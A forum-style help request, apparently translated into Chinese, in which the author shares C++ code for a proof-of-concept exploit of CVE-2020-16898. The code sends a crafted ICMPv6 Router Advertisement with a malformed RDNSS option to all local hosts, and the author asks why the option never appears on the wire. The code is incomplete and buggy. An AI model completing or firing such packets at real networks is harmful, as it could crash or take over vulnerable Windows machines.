出于好奇,我试图为CVE-2020-16898编写一个简单的概念验证漏洞利用。我使用了 RFC(RFC 4861 和 RFC 6106)来获得正确的格式,并且我已经成功地使用下面的代码发送了一个精心设计的 ICMPv6 路由器广告数据包。但是,在 Wireshark 中查看数据包发现实际发送的数据包中缺少数据包选项 25(有效负载)。
我怀疑它与数据包长度有关 - 我尝试将其转换为 Big Endian(同时使用 htons() 并手动插入十六进制数字),但在这些情况下,sendto() 失败并显示“消息太长”错误。有效负载应为 56 字节长,应远低于限制。
我在下面包括我的代码。我会很感激任何帮助。
#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
struct ipHeader{
uint8_t priority:4, version:4;
uint8_t flow[3];
uint16_t length;
uint8_t nextHeader;
uint8_t hopLimit;
// 128-bit IPv6 addresses
uint16_t srcAddress[8];
uint16_t dstAddress[8];
};
struct payload{
uint8_t type;
uint8_t code;
uint16_t checksum;
uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
uint16_t routerLifetime;
uint32_t reachableTime;
uint32_t retrans;
// Options, probably should be its own struct
uint8_t optionType;
uint8_t optionLength;
uint16_t optionReserved;
uint32_t optionLifetime;
uint32_t dnsAddress[4]; // 128-bit IPv6 address
uint64_t randomGarbage; // This is where magic happens
};
int main()
{
uint8_t *packet;
packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));
ipHeader *ip;
payload *icmp;
// Place IP header + payload directly to the packet buffer
ip = (ipHeader *) packet;
// Offset of payload in packet buffer
icmp = (payload *)(packet+sizeof(ipHeader));
// IPv6 packet header (arcane magic stuff)
ip->version = 0b0110;
ip->priority = 0;
(ip->flow)[0] = 0;
(ip->flow)[1] = 0;
(ip->flow)[2] = 0;
ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
ip->nextHeader = 58;
ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped
std::cout << std::hex << ip->length << std::dec << std::endl;
// ICMPv6 router advertisement packet (more arcane magic stuff)
icmp->type = 134; // Router advertisement
icmp->code = 0;
icmp->checksum = 0; // will set/calculate later
icmp->curHopLimit = 64;
icmp->M = 0;
icmp->O = 0;
icmp->reserved = 0;
icmp->lifetime = 0;
icmp->reachableTime = 0;
icmp->retrans = 0;
icmp->optionType = 25;
icmp->optionLength = htonl(3);
icmp->optionLifetime = UINT32_MAX;
icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
icmp->checksum = 0x2e55;
sockaddr_in6 remote{};
remote.sin6_family = AF_INET6;
remote.sin6_port = 0;
remote.sin6_flowinfo = 0;
remote.sin6_scope_id = 0;
//Set addresses
inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting
int sock, optVal;
sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if(sock == -1){
perror("Failed to open socket");
exit(-1);
}
int status;
status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
if(status != 0){
std::cout << "Socket options returned status " << status << std::endl;
perror("Failed to set socket options");
exit(-2);
}
std::cout << "Sockets ready, sending payload..." << std::endl;
std::cout << "Payload size: " << sizeof(payload) << std::endl;
status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
if(status != ip->length){
std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
perror("Failed to send packet");
exit(-3);
}
return 0;
}